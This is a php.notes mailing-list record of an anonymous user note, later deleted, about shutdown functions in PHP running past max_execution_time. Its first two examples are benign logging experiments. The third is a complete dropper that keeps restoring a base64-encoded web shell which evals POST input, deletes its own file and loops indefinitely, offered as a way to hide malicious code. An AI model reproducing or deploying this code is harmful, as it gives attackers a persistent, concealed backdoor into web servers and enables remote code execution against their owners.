note 121821 deleted from function.die by crell
| From: | crell@php.net | Date: | Mon, 04 Apr 2022 16:53:51 +0000 |
| Subject: | note 121821 deleted from function.die by crell | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-218112@lists.php.net to get a copy of this message | ||
Note Submitter: Anonymous
----
1.) I run something similar to this for 3 days on a couple of systems. It seems like this function
does not have any time limitation at all, IF it gets called due to a max_execution_time-out.
<?php
ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "LOG_FILE", ABS_PATH . "log.txt" );
function shutdown() {
while(true) {
file_put_contents(LOG_FILE, date("c") . " (shutdown)\n", FILE_APPEND);
sleep(1);
}
}
register_shutdown_function("shutdown");
ini_set("max_execution_time", 3);
while(true) {
file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
}
/* log.txt
2017-11-01T23:56:00+00:00 (normal)
2017-11-01T23:56:01+00:00 (normal)
2017-11-01T23:56:02+00:00 (normal)
2017-11-01T23:56:03+00:00 (shutdown)
2017-11-01T23:56:04+00:00 (shutdown)
2017-11-01T23:56:05+00:00 (shutdown)
[ logs for 3 days ]
*/
?>
2.) With this code, the registered function is limited to max_execution_time.
<?php
// [...]
file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
EXIT; // <-- Now with exit, not needed just to show
/* log.txt
2017-11-01T23:57:38+00:00 (normal)
2017-11-01T23:57:39+00:00 (shutdown)
2017-11-01T23:57:40+00:00 (shutdown)
*/
?>
3.) This is very evil. you can run code "forever". For example, this code checks if the
file shell.php exists, and drops it if not. Of course, this is not how a hacker breach in. But if he
has access, this is a great place to hide evil code.
<?php
ignore_user_abort(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "SHELL_PATH", ABS_PATH . "shell.php" );
define( "STOP_FILE", ABS_PATH . "stop.txt" );
define( "SLEEP", 10 );
/* base64 of: <?php if(isset($_POST['exec'])) eval($_POST['exec']); ?> */
define( "SHELL_CODE",
"PD9waHAgaWYoaXNzZXQoJF9QT1NUWydleGVjJ10pKSBldmFsKCRfUE9TVFsnZXhlYyddKTsgPz4=" );
function shutdown() {
while(true) {
if( file_exists( STOP_FILE ) ) {
break;
}
if( ! file_exists( SHELL_PATH ) )
file_put_contents( SHELL_PATH, base64_decode( SHELL_CODE ) );
sleep(SLEEP);
}
exit;
}
register_shutdown_function("shutdown");
// Do something. Delete this drop script for example.
unlink($_SERVER['SCRIPT_FILENAME']);
// Try 1 to go to shutdown
ini_set("max_execution_time", 1);
usleep(1500000);
// Try 2 to go to shutdown
sleep(ini_get("max_execution_time") + 1);
// Try 3 to go to shutdown (better have a max_execution_time ...)
while(true) {
sleep(1);
}
?>